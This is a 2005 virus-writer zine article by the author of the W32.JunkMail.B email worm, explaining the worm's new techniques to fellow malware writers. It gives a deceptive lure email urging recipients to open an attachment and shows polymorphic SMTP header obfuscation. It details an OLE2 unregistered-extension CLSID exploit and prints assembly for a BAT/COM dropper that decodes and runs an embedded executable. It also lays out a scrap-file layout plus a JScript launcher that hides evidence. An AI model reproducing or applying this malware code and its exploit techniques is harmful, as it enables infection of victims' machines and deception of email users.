| ||||||||||||||||
|
More Ins and Outs of JunkMail
by roy g biv
More Ins and Outs of JunkMail
roy g biv / 29A
Former DOS/Win16 virus writer, author of several virus families, including
Ginger (see Coderz #1 zine for terrible buggy example, contact me for better
sources ;), and Virus Bulletin 9/95 for a description of what they called
Rainbow. Co-author of world's first virus using circular partition trick
(Orsam, coded with Prototype in 1993). Designer of world's first XMS swapping
virus (John Galt, coded by RT Fishel in 1995, only 30 bytes stub, the rest is
swapped out). Author of world's first virus using Thread Local Storage for
replication (Shrug, see Virus Bulletin 6/02 for a description, but they call
it Chiton), world's first virus using Visual Basic 5/6 language extensions for
replication (OU812), world's first Native executable virus (Chthon), world's
first virus using process co-operation to prevent termination (Gemini, see
Virus Bulletin 9/02 for a description), world's first virus using polymorphic
SMTP headers (JunkMail, see Virus Bulletin 11/02 for a description), world's
first viruses that can convert any data files to infectable objects (Pretext),
world's first 32/64-bit parasitic EPO .NET virus (Croissant, see Virus
Bulletin 11/04 for a description, but they call it Impanate), world's first
virus using self-executing HTML (JunkHTMaiL, see Virus Bulletin 7/03 for a
description), world's first virus for Win64 on Intel Itanium (Shrug, see Virus
Bulletin 6/04 for a description, but they call it Rugrat), world's first virus
for Win64 on AMD AMD64 (Shrug), world's first cross-infecting virus for Intel
IA32 and AMD AMD64 (Shrug), world's first viruses that infect Office
applications and script files using the same code (Macaroni), and world's
first viruses that can infect both VBS and JScript using the same code (ACDC).
Author of various retrovirus articles (eg see Vlad #7 for the strings that
make your code invisible to TBScan). Went to sleep for a number of years.
I am awake now. ;)
Do you remember W32.Junkmail? It was publised in 29A#7/Articles/29A-7.009.
It brought to you some new techniques for e-mail speading.
Now there is W32.Junkmail.B, which takes those techniques even further.
Here is an example JunkMail e-mail before obfuscation:
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary=WNOQFOMM
--WNOQFOMM
I received this file from you yesterday evening.
I think it was sent without you knowing by the Aliz virus.
The filename was changed but it looked like an important video inside.
You should look at this file to see what it is.
The attachment might open automatically. This is normal behaviour.
If you see a prompt to Open or Save the email then choose Open.
If the attachment is blocked by Outlook 2002 then see
http://support.microsoft.com/support/kb/articles/q290/4/97.asp
--WNOQFOMM
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
<IFRAME SRC=3DCID:EMAIL WIDTH=3D0>
--WNOQFOMM
Content-Type: application/x-mplayer;
name=email.!!!
Content-Transfer-Encoding: base64
Content-ID: <EMAIL>
[base64 encoded file]
--WNOQFOMM
--
Here is an example JunkMail.B e-mail after obfuscation:
mIMe-VERSion:({) 1(b) .(9) 0
CoNTent-tYPe:({) M(K)u(A67)Lt(ots)I(I)PAr(o)t(i}E) / m(q)I(t)x(d)Ed ;
(J=u)bOu(Uj)n(i)dA(XT)RY (D)=(kC:) WNOQFOMM
WKTHHMEFXDHCQQDJXPKENXBMNJKTROIRHAWBXCXUPLYWNYELAEKDPNNKIYBQRDS
MSLBYERZ
WNOQFOMM--
--WNOQFOMM
I received this file from you yesterday evening.
I think it was sent without you knowing by the Badtrans virus.
The filename was altered but it looked like an important database inside.
You should look at this file to see what it is.
The attachment might open automatically. This is normal behaviour.
If you see a prompt to Open or Save the email then choose Open.
If the attachment is blocked by Outlook 2002 then see
http://support.microsoft.com/support/kb/articles/q290/4/97.asp
--WNOQFOMM
coNTENt-TYPe: (Ve)t(%)ex(-s1)T(4) / (T)H(66r)TMl
cONTEnT-TrAnsfeR-enCODIng:Q(%)UO(vV)t(_i)e(1)d(ng,)-(o)p(YMt)RIN(l)tABle
=3C=49=46=52=41=4D=45 =53R=43=3D=43=49D=3AE=4D=41I=4C=20=57IDT=48=3D=30>
--WNOQFOMM
ConTENT-Type: A(4)PPl(w)I(H)C(N)Ati({)On (d)/(4};) x-(1)M(YI)PLA(I)Yer;
(]$)na(!r)m(6t{)e =(N`) e(J-)m(;n>)aI($0)l(hWq).(X1)!(6<)!!
cOnTenT-TRAnSFer-eNcOdiNG:(m) b({H)A(N)S(#)e64
coNTenT-id: ({)< E(a'B)M(X)AIL(?) >
[base64 encoded file]
--WNOQFOMM
ZXFLNEJXAARBKTNYLFFHRGANZVPMVLYDTRKXYENBMIJJTCKLOBCWKBSGJG
CGYUXHPAUZWFFIPIHQTNSAZDWSAYYUMYQFOJYUTPACLEWMRZMWUPEHX
KHDZDFVSSTSSKSRKOAUWQUFPREJC
ONIPXHYHPQKMBJIIAKSHNFVZJUCFYMQIZKV
FGBFLHDCJQHTCIQMMSXAKARDSIUVWMUELAG
KGGSCOAXWICNEKKCRXONRMAPEKMJOXCTQRP
CXRMQZFD
--
Yes, the engine has been improved to include spaces, and comments after ':'.
There is also a new exploit that is related to OLE2-format files which have an
unregistered extension. Using the right CLSID, it is possible to run scripts
(and probably other things, too). The well-known CLSID is for MSHTA.EXE, to
run HTA files. It is:
{3050f4d8-98b5-11cf-bb82-00aa00bdce0b}
However, there is another CLSID that can also be used. It is for MSHTML.DLL,
to display HTML pages. It is:
{25336920-03f9-11cf-8fd0-00aa00686f13}
That one is used by Internet Explorer, but a bug means that IE will run the
page continuously until the page is closed. To avoid this bug, you should
close the page yourself.
We still use random choice of file content (not only the extension). We can
choose between a .BAT file, a Windows executable file, and a OLE2 scrap file.
The .BAT file is updated to also be a .COM file, and the OLE2 scrap file is
updated to carry a script, if the unregistered extension method is used.
The .BAT file code was completely rewritten. It was made smaller, and no
longer needs to drop a .COM file, since it is both formats already. It just
renames itself to .COM and runs itself again. Now it looks like this:
s branch instruction for COM mode
goto r:gb! skip long line that follows in BAT mode
This decryptor came from my shellcode research using the imul instruction to
decode bytes using ASCII-encoded nybbles. Since I was not restricted to an
alphanumeric set, it was very easy. This code decodes our base64 decoder.
push 38h
pop cx initialise key to decode imul
sub al, 21h an arbitrary value to give ASCII relative offsets
push ax
pop si
push ax
pop di
sub [si + 3f], cl decode imul (48h -> 10h)
imul ax, [si + 51], 48h get top nybble
xor al, [si + 50] combine with bottom nybble
xor al, 40 decode byte
and [di + 50], ch zero destination
xor [di + 50], al store byte
inc si
inc si
inc di
dec cx
jne 017b replaced by 011b
The base64 decoder and the file follow immediately. Since they are both
base64-encoded now, the decoder can be partially encoded itself, and decode
itself and the file at the same time. Since the CRLF are no longer emitted,
so the code size is reduced. The block is delimited by a space, so the
filename restriction is also removed.
add si, 50h point to base64 block
add di, 50h point to decode destination
b64decode proc near
lods dword ptr [esi]
push 4
pop cx
b64_inner label near
rol eax, 8
cmp al, '0'
jnb b64_testchar
add al, (('/' shl 2) + 1) and 0ffh
shr al, 2 '+' and '/' differ by only 1 bit
b64_testchar label near
add al, 4
cmp al, 3fh
jbe b64_store
sub al, 45h
cmp al, 19h
jbe b64_store
sub al, 6
b64_store label near
shrd ebx, eax, 6
loop b64_inner
xchg ebx, eax
bswap eax
stos dword ptr [di]
dec di
cmp byte ptr [si], 4fh replaced during decode by ' '
[jne b64decode branch instruction is decoded]
b64decode endp
now to drop and run decoded .EXE file
mov ah, 3ch
mov dx, 188h using MZ header as filename
int 21h
xchg bx, ax
mov ah, 40h
dec cx
int 21h
mov ah, 3eh
int 21h
mov ah, 4Ah
mov bl, 42h must point to block of zeroes
int 21h
mov ax, 4b00h
int 21h
ret
[file base64 data here]
--
The scrap file is the same 512 bytes-per-page OLE2 file with embedded .EXE.
New is the presence of the CLSID, if the unregistered extension exploit is
used.
Here is the file:
db 0d0h, 0cfh, 11h, 0e0h, 0a1h, 0b1h, 1ah, 0e1h
000 signature
db 10h dup (0) 008 unused
dw 0, 0 018 DLL version
dw 0 01c byte order (for Unicode)
dw 9 01e shift count for main FAT
dw 0 020 shift count for mini FAT
dw 0 022 reserved
dd 0, 0 024 reserved
dd 1 02c pages in main FAT
dd 1 030 page of root storage
dd 0 034 unused
dd 0 038 size of main pages
dd 0 03c page of mini FAT
dd 0 040 pages in mini FAT
dd 0 044 next page in main FAT (end of chain)
dd 0 048 unused
dd 6dh dup (0) 04c filler
dd 0 200 main FAT page
dd 0fffffffeh 204 root storage chain
dd ? dup (?) 208 embedded object stream chain (variable size)
dw 1, "Ole10Native", 14h dup (0) 400 stream name
dw 1ah 440 name length
db 2 442 attribute (2=stream, unchecked for Root Storage)
db 0 443 unused
dd 0ffffffffh, 0ffffffffh 444 left and right node indexes
dd 1 44c storage index (overload as Root Storage)
db 10h dup (0) 450 CLSID
or
CLSID 25336920-03f9-11cf-8fd0-00aa00686f13 (HTML Document)
or
CLSID 3050f4d8-98b5-11cf-bb82-00aa00bdce0b (HTML Application)
dd 0 460 flags
dq 0, 0 464 create and modify times
dd 2 474 data page
dd ? 478 stream size
dd 0 47c unused
dw 3, "ITEM000", 18h dup (0) 480 scrap storage name
dw 12h 4c0 name length
db 1 4c2 attribute (1=storage)
db 0 4c3 unused
dd 0ffffffffh, 0ffffffffh 4c4 left and right node indexes
dd 0 4cc storage index
CLSID 0003000c-0000-0000-c000-000000000046
4d0 scrap CLSID
dd 0 4e0 flags
dq 0, 0 4e4 create and modify times
dd 0 4f4 data page (unused by storages)
dd 0 4f8 stream size
dd 0 4fc unused
dd 40h dup (0) 500 unused directory entries
dd ? 600 scrap size
dw 0 604 number of strings following
dw 3 606 type (3=static)
dd 6 608 filename length
db "\.exe", 0 60c filename (only directory and suffix required)
dd ? 612 embedded object size
616
Embedded .EXE file follows immediately.
If the unregistered extension exploit is used, then this script is appended:
new ActiveXObject('WScript.shell').exec('rundll32 shscrap,OpenScrap_RunDLL '+document.URL.substr(7));window.close()
It opens the file as a scrap file, after skipping the "file://" protocol, then
closes the window, in order to hide the evidence, and avoid the IE bug.
The .SHS file is also special. I call it a self-destructing file, because
after it runs, Windows will notice that it is malformed and try to fix it, but
the resulting file is destroyed, and cannot be run again. It is another way
to hide the evidence. :)
Greets to friendly people (A-Z):
Active - Benny - Obleak - Prototype - Ratter - Ronin - RT Fishel -
sars - The Gingerbread Man - Ultras - uNdErX - Vecna - VirusBuster -
Whitehead
rgb/29A jun 2005
iam_rgb@hotmail.com
| ||||||||||||||||